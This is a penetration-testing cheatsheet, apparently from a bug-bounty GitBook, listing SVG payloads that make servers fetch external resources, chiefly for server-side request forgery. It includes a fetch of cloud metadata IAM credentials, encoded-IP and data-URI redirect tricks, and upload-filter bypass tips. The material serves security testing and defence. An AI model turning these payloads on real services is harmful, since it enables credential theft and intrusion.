> For the complete documentation index, see [llms.txt](https://pcastagnaro.gitbook.io/pentest-bug-bounty-resources/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pcastagnaro.gitbook.io/pentest-bug-bounty-resources/pentest-bounty-resources/web/ssrf-and-xxe/svg-ssrf-cheatsheet.md).

# SVG SSRF Cheatsheet

{% hint style="info" %}
Check the [Payloads](/pentest-bug-bounty-resources/pentest-bounty-resources/brute-force/wordlists/payloads.md) lists
{% endhint %}

All of these methods specify a URI, which can be absolute or relative. File and HTTP protocol are important to test, but it could also support other protocols depending on the implementation (e.g. PHP stream schemes), including `javascript:` and `data:`.

This document contains a list of the ways about to abuse this functionality in SVG files.

{% hint style="info" %}
Note that some services that claim to not accept SVG as an input format actually do with a little coaxing.
{% endhint %}

* For uploads, send a JPEG/PNG mime type and filename.
* For downloads, have a JPEG/PNG filename and mime type. If refused, check for TOCTOU on the URL (double fetch) and if it follows redirects.
* Mime sniffing confusion is probably also possible. Mime sniffing confusion as SVG is difficult to sniff because it can start with extra XML garbage. In fact, the standard `file` command doesn't include any SVG magic, so it's likely up to the individual implementations.

## Images

SVG can include external images directly via the `<image>` tag.

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image xlink:href="https://example.com/image.jpg" height="200" width="200"/>
</svg>
```

{% endcode %}

Most simple:

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://example.com/image.jpg" />
</svg>
```

{% endcode %}

URL Encoded:

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://example.com/%69mage.jpg" />
</svg>
```

{% endcode %}

{% hint style="info" %}
Note that you can use this to include *other SVG* images too.
{% endhint %}

## The `<use>` tag

SVG can include external SVG content via the `<use>` tag.

### Option 1:

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <use xlink:href="https://example.com/file2.svg#foo"/>
</svg>
```

{% endcode %}

### Option 2:

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg width="200" height="200" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>
```

{% endcode %}

### Option 3

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <use href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" />
</svg>
```

{% endcode %}

## CSS

### CSS Stylesheet `<link>`

SVG can include external stylesheets via the `<link>` tag, just like html.

<pre class="language-xml" data-overflow="wrap" data-line-numbers><code class="lang-xml">&#x3C;svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
<strong>&#x3C;link xmlns="http://www.w3.org/1999/xhtml" rel="stylesheet" href="http://example.com/style.css" type="text/css"/>
</strong>&#x3C;circle cx="50" cy="50" r="45" fill="green" id="foo"/>
&#x3C;/svg>
</code></pre>

### CSS stylesheet via `@include`

{% code overflow="wrap" lineNumbers="true" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <style>
    @import url(http://example.com/style.css);
  </style>
  <circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>
```

{% endcode %}

### CSS Stylesheet via `<?xml-stylesheet?>`

{% code overflow="wrap" lineNumbers="true" %}

```xml
<?xml-stylesheet href="http://example.com/style.css"?>
<svg width="100%" height="100%" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green" id="foo"/>
</svg>
```

{% endcode %}

## IP in Hexadecimal

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="http://3232235777/image.jpg" />
</svg>
```

## Redirect with data URI

{% code overflow="wrap" %}

```xml
<svg xmlns="http://www.w3.org/2000/svg">
  <image href="data:text/html;base64,PHNjcmlwdD53aW5kb3cubG9jYXRpb249J2h0dHA6Ly9lamVtcGxvLmNvbSc8L3NjcmlwdD4=" />
</svg>
```

{% endcode %}

## XSLT

SVGs can include XSLT stylesheets via `<?xml-stylesheet?>`. Surprisingly, this does seem to work in chrome.

```xml
<?xml version="1.0" ?>
<?xml-stylesheet href="https://example.com/style.xsl" type="text/xsl" ?>
<svg width="10cm" height="5cm"
     xmlns="http://www.w3.org/2000/svg">
  <rect x="2cm" y="1cm" width="6cm" height="3cm"/>
</svg>
```

```xml
<?xml version="1.0"?>

<xsl:stylesheet version="1.0"
                xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
                xmlns="http://www.w3.org/2000/svg"
        xmlns:svg="http://www.w3.org/2000/svg">
  <xsl:output
      method="xml"
      indent="yes"
      standalone="no"
      doctype-public="-//W3C//DTD SVG 1.1//EN"
      doctype-system="http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"
      media-type="image/svg" />

  <xsl:template match="/svg:svg">
    <svg width="10cm" height="5cm"
       xmlns="http://www.w3.org/2000/svg">
    <rect x="2cm" y="1cm" width="6cm" height="3cm" fill="red"/>
  </svg>
  </xsl:template>
</xsl:stylesheet>
```

{% hint style="info" %}
Note: due to the nature of XSLT, the input doesn't actually *have* to be a valid SVG file if the xml-stylesheet is ignored, but it's useful to bypass filters.
{% endhint %}

Also, because this template just wholesale replaces the entire "old" image with the new one.

## Javascript

### Inline

SVG can natively include inline javascript, just like HTML.

```xml
<svg width="100%" height="100%" viewBox="0 0 100 100"
     xmlns="http://www.w3.org/2000/svg">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo"/>
  <script type="text/javascript">
    // <![CDATA[
      document.getElementById("foo").setAttribute("fill", "blue");
   // ]]>
  </script>
</svg>
```

### External

SVG can also include external scripts.

```xml
<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <script src="http://example.com/script.js" type="text/javascript"/>
</svg>

```

### Inline in event

SVG can also have inline event handlers that get executed onload.

```xml
<svg width="100%" height="100%" viewBox="0 0 100 100"
  xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <circle cx="50" cy="50" r="45" fill="green"
          id="foo" o="foo"/>
  <image xlink:href="https://example.com/foo.jpg" height="200" width="200" onload="document.getElementById('foo').setAttribute('fill', 'blue');"/>
</svg>
```

You can also bind handlers to animations and some other events. Read the SVG spec.
